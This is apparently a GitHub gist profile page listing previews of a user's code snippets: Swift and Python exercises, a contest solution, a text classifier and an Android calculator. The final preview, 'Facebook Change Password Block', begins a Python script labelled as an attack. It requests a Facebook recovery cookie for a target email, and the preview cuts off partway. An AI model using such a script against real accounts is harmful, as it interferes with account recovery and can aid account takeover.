Skip to content

Instantly share code, notes, and snippets.

View Getmrahul's full-sized avatar
🎯
Focusing

Rahul M Getmrahul

🎯
Focusing
View GitHub Profile
@Getmrahul
Getmrahul / king.swift
Created April 7, 2019 17:35
Fun Swift
class King {
var power = 100
var health = 100
let maxHealth = 100
let maxPower = 100
func attack() {
if self.isDead() {
print("🤴 is dead!")
#! usr/bin/python
import sys
class Heap(object):
def __init__(self):
self.lower = []
self.upper = []
@Getmrahul
Getmrahul / code.py
Last active January 15, 2017 19:13
HackerCup 2017 Round 1 - Pie Progress Python Solution
# ! usr/bin/python
#
# Download Input & Output files : https://www.dropbox.com/sh/bvnrwslazmr5ztc/AACZYKtzHq1mY4YrRQN-GFbDa?dl=0
#
f = open("pieprogress.txt")
wf = open("out_pie.txt","w")
cases = int(f.readline())
@Getmrahul
Getmrahul / class.py
Created January 5, 2017 07:52
Basic Text Classification with Scikit-learn [Question/Answer Classifier]
# ! usr/bin/python
import pandas as pd
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn.externals import joblib
from sklearn.pipeline import Pipeline
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.feature_extraction.text import CountVectorizer
@Getmrahul
Getmrahul / sid1.py
Created July 30, 2016 06:16
Find sum of first N numbers which has only two set bits!
# give input in single line with spaces
noc = int(raw_input())
for case in xrange(0,noc):
N = int(raw_input())
i = 1
totalFound = 0
totalSum = 0
while totalFound != N:
count = 0
@Getmrahul
Getmrahul / twoBinSum.py
Last active July 30, 2016 05:54
Find sum of numbers which has only 2 1's in it's binary form
# give input in single line with spaces
nos = map(int, (raw_input()).split(' '))
totalSum = 0
for n in nos:
count = 0
tmpN = n
while n:
n &= (n-1)
@Getmrahul
Getmrahul / main.c
Created July 12, 2016 16:20
Sum & Mult till before the last before element and check if it's less than the last before element!
#include<stdio.h>
int main() {
int arr[20],n,i=0,sum=0,mult=1,element;
printf("Enter number of elements: ");
scanf("%d",&n);
while(i<n) {
printf("\nEnter no%d: ",i);
/*
Sum & Mult till before the last before element and check if it's less than the last before element!
*/
#include<stdio.h>
int main() {
int arr[20],n,i=0,sum=0,mult=1,element;
printf("Enter number of elements: ");
@Getmrahul
Getmrahul / MainActivity.java
Last active March 7, 2016 06:57
Android Simple Calculator
package com.example.calc;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
@Getmrahul
Getmrahul / harenablock
Last active February 15, 2017 23:14
Facebook Change Password Block
#! usr/bin/python
# -*- coding: utf-8 -*-
import requests
######################### Attack to get sfiu cookie ######################
url = 'https://touch.facebook.com/login/identify/?ctx=recover&ref=wizard'
phno = raw_input('Enter EmailId:\n>')
payload = {
'lsd' : 'AVqoLCeF',